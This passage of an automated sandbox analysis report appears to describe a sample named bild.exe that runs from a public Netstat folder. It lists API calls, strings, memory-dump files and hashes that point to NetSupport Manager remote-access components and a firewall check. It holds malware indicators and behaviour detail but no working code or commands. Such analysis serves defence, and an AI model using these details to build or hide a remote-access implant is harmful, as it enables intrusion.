Sleep.KERNEL32(00000000), ref: 6C5D9CDE
LeaveCriticalSection.KERNEL32(?), ref: 6C5D9D4F
InterlockedIncrement.KERNEL32(?), ref: 6C5D9D72

Strings

3', xrefs: 6C5D9CB2

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: CriticalIncrementInterlockedLeaveSectionSleepTimesendtime
String ID: 3'
API String ID: 77915721-280543908
Opcode ID: 4d991a7fd4910dd5e63054c69c344b3b143660256b87d5feb900cda10d859242
Instruction ID: e4615c7a9f2bfe3b499a5afee83e88e60d15619c19cca24c9eeb59424fce252b
Opcode Fuzzy Hash: 4d991a7fd4910dd5e63054c69c344b3b143660256b87d5feb900cda10d859242
Instruction Fuzzy Hash: 4D21CD70A042188FDB20DF68DC98B9AB3B4AF45325F164295D80E9B681CA30ED84CF95

Function 11096970 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11096984
CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,1113769B), ref: 1109699E
CoCreateInstance.OLE32(?,00000000,00000001,111C08AC,?,?,?,?,?,?,?,1113769B), ref: 110969BB
CoUninitialize.OLE32(?,?,?,?,?,?,1113769B), ref: 110969D9

Strings

HNetCfg.FwMgr, xrefs: 11096999
ICF Present: , xrefs: 110969E0

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: f34227f50c1ea86a65abb9f5b461b7bcbc9d9ad9ed009c44ac4fae2586091261
Instruction ID: ffe5b7852bae71a5603cb4f529131e3535c43cf5cc9a129c5e7f13935f1cb029
Opcode Fuzzy Hash: f34227f50c1ea86a65abb9f5b461b7bcbc9d9ad9ed009c44ac4fae2586091261
Instruction Fuzzy Hash: 9C11AC74E0012DABC700EAE5DC95AEFBB68AF45709F100029F50AEB144EA21EA40C7E2

Function 11025D00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11025D16
K32GetProcessImageFileNameA.KERNEL32(?,?,?,1110720F,00000000,00000000,?,11106527,00000000,?,00000104), ref: 11025D32
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11025D46
SetLastError.KERNEL32(00000078,1110720F,00000000,00000000,?,11106527,00000000,?,00000104), ref: 11025D69

Strings

GetModuleFileNameExA, xrefs: 11025D40
GetProcessImageFileNameA, xrefs: 11025D10

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: fbb342385a7ca70d12a15f9985bda82124cf97ba9cccb812bf362dda13377f65
Instruction ID: 74662284ed99b9a54ad109221a671fe8fcdc3fa540ca7c31caa090441a4958f5
Opcode Fuzzy Hash: fbb342385a7ca70d12a15f9985bda82124cf97ba9cccb812bf362dda13377f65
Instruction Fuzzy Hash: 98016D72601718ABE330DEA5EC48F87B7E8EB88765F10052AF95697200D631E8018BA4

Function 1110F2B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,11110245,1110FDE0,00000001,00000000), ref: 1110F2C7
CreateThread.KERNEL32(00000000,11110245,00000001,00000000,00000000,0000000C), ref: 1110F2EA
WaitForSingleObject.KERNEL32(?,000000FF,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F317
CloseHandle.KERNEL32(?,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F321

Strings

..\ctl32\Refcount.cpp, xrefs: 1110F2FB
hThread, xrefs: 1110F300

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 3360349984-1136101629
Opcode ID: c9018d34e74e4049c7ebca087304ef1218ab8024f9415a3366a00b8023e95b9a
Instruction ID: 7cf91fcea6c2a3c5c2684f5d08a561b662f4dc7f01f0c277a0d6c7245401f800
Opcode Fuzzy Hash: c9018d34e74e4049c7ebca087304ef1218ab8024f9415a3366a00b8023e95b9a
Instruction Fuzzy Hash: E7015E7A7443166FE3209EA9CC86F57FBA8DB44764F104128FA25962C4DA60F805CB64

Function 11031960 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110319A7

Strings

_HF, xrefs: 11031988, 1103198D
%s%s%s.bin, xrefs: 110319A1
051829, xrefs: 1103198E
_SW, xrefs: 1103197C
_HW, xrefs: 11031970

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$051829$_HF$_HW$_SW
API String ID: 2111968516-2890156708
Opcode ID: b97882e65002706a22fb778f12bbc90950e65c749b3e8462a2311051e46cf205
Instruction ID: 34a826dfca0d5743c415d593f242b0f3cefc790b54bbadf5113738552eb06063
Opcode Fuzzy Hash: b97882e65002706a22fb778f12bbc90950e65c749b3e8462a2311051e46cf205
Instruction Fuzzy Hash: 93E092A1D1870C6FF70085589C15F9EFAE87B4978EFC48051BEEDA7292E935D60082D6

Function 11102AB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 11102B03
GetStockObject.GDI32(00000004), ref: 11102B5B
RegisterClassA.USER32(?), ref: 11102B6F
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00130000,00000000,11000000,00000000), ref: 11102BAC

Strings

NSMDesktopWnd, xrefs: 11102AE9, 11102B68, 11102BA6

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: e27069a72c11c1f4eb1c56e7938a9b61728f0754eae0ec1cd31abd721b9bda48
Instruction ID: 4c07b853b75387a4d851a66abc04609236edd6d81c14be1d28904dd9f6a0e6ac
Opcode Fuzzy Hash: e27069a72c11c1f4eb1c56e7938a9b61728f0754eae0ec1cd31abd721b9bda48
Instruction Fuzzy Hash: C231F4B0D15619AFDB44CFA9D980A9EFBF4FB08314F50962EE46AE3640E7346900CF94

Function 1113CC30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000000,00000000,TermUI...), ref: 1113CC9A
KillTimer.USER32(00000000,00007F5A,TermUI...), ref: 1113CCB3
FreeLibrary.KERNEL32(75B40000,?,TermUI...), ref: 1113CD2B
FreeLibrary.KERNEL32(00000000,?,TermUI...), ref: 1113CD43

Strings

TermUI, xrefs: 1113CC32

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FreeKillLibraryTimer
String ID: TermUI
API String ID: 2006562601-4085834059
Opcode ID: 0b8b98d89ae2f905afc74c8ae1c01cea1ae783866c2b84ef9f483cfa62b8061f
Instruction ID: 1c615ec055e307fcecd6c2f5a0081f3099d40e524c959ad3afbad8c7da76a6da
Opcode Fuzzy Hash: 0b8b98d89ae2f905afc74c8ae1c01cea1ae783866c2b84ef9f483cfa62b8061f
Instruction Fuzzy Hash: 813182B46121329FE605DF9ACDE496EFB6ABBC4B1C750402BF4689720CE770A845CF91

Function 11145330 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111453A0
RegCloseKey.ADVAPI32(?), ref: 11145404

Strings

SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11145367, 1114539E
SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 11145380
ForceRTL, xrefs: 111453C3

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: 2e1f21c9ebfd0fdc4230699bf98ebb40bf83fdb687853d653e48f9fb82f12d2f
Instruction ID: 3a61aca8bf2f26e8be4db12f87e0943ca7983303b4b50086f785ef97d0623835
Opcode Fuzzy Hash: 2e1f21c9ebfd0fdc4230699bf98ebb40bf83fdb687853d653e48f9fb82f12d2f
Instruction Fuzzy Hash: 56218875E0422A9BE760DB64CD80B9EF7B8EB44708F1042AAD85DF7540E771AD458BB0

Function 111114D0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 11111430: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111145A
Part of subcall function 11111430: __wsplitpath.LIBCMT ref: 11111475
Part of subcall function 11111430: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111114A9

GetComputerNameA.KERNEL32(?,?), ref: 11111578

Strings

ACM, xrefs: 11111532
\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 11111587
\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 11111520
, xrefs: 11111571

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 10a04c85090393e181044af2bbe891b78f34dcae4f388202a219c12921f261b8
Instruction ID: bd5304e3d9974d7ab46afc427c644d654ac0d4b62daaa3d8a48381b774377c4d
Opcode Fuzzy Hash: 10a04c85090393e181044af2bbe891b78f34dcae4f388202a219c12921f261b8
Instruction Fuzzy Hash: 4B214676A142491BD701CF309D80BBFFFBA9F8B249F080578D852DB145E626D914C391

Function 11144200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 11143C20: GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
Part of subcall function 11143C20: GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Netstat\bild.exe,00000104,?,11143E73,?), ref: 11143C49

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 11144255
ResetEvent.KERNEL32(00000260), ref: 11144269
SetEvent.KERNEL32(00000260), ref: 1114427F
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 1114428E

Strings

MiniDump, xrefs: 11144207

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: af02bfec1e2ad683ef615fadee7153e651b028109eb63fc5543e4d95a1405a56
Instruction ID: 829689d5ebdc208bf7b78735a50f5ce9a06f611da5f38dced1c13c8e9b13f18e
Opcode Fuzzy Hash: af02bfec1e2ad683ef615fadee7153e651b028109eb63fc5543e4d95a1405a56
Instruction Fuzzy Hash: 4F113875E5422677E300DFF99C81F9AF768AB44B28F200230EA24D75C4EB71A504C7B1

Function 6C5D8E28 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 6C5D5000: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6C5D5014
Part of subcall function 6C5D5000: K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6C5D8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C5D5034

CloseHandle.KERNEL32(00000000,00000000,?,00000FA0,?), ref: 6C5D8EAE
FreeLibrary.KERNEL32(?), ref: 6C5D8EBF

Part of subcall function 6C5D2420: _strrchr.LIBCMT ref: 6C5D242E

Strings

NSM247Ctl.dll, xrefs: 6C5D8E7E
pcictl_247.dll, xrefs: 6C5D8E6C
Set Is247=%d, xrefs: 6C5D8ED7

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: AddressCloseFileFreeHandleLibraryModuleNameProc_strrchr
String ID: NSM247Ctl.dll$Set Is247=%d$pcictl_247.dll
API String ID: 3215810784-3459472706
Opcode ID: 3ee5d9b70c8375cfaad0b33beadb582dc74712d6f31e78f945432fbef0c93e6f
Instruction ID: 4573ae2351151d015c2c357bba2021c5f544f90380badc6162b9e0d8fb36d264
Opcode Fuzzy Hash: 3ee5d9b70c8375cfaad0b33beadb582dc74712d6f31e78f945432fbef0c93e6f
Instruction Fuzzy Hash: 6111E471A04316DFDF109B599C41BEA7374EB45306F010466DE19E7A40EB70BE48CFAA

Function 11146DA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 11146DCF
wsprintfA.USER32 ref: 11146E06

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

#%d, xrefs: 11146E00
i < _tsizeof (buf), xrefs: 11146E20
..\ctl32\util.cpp, xrefs: 11146E1B

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
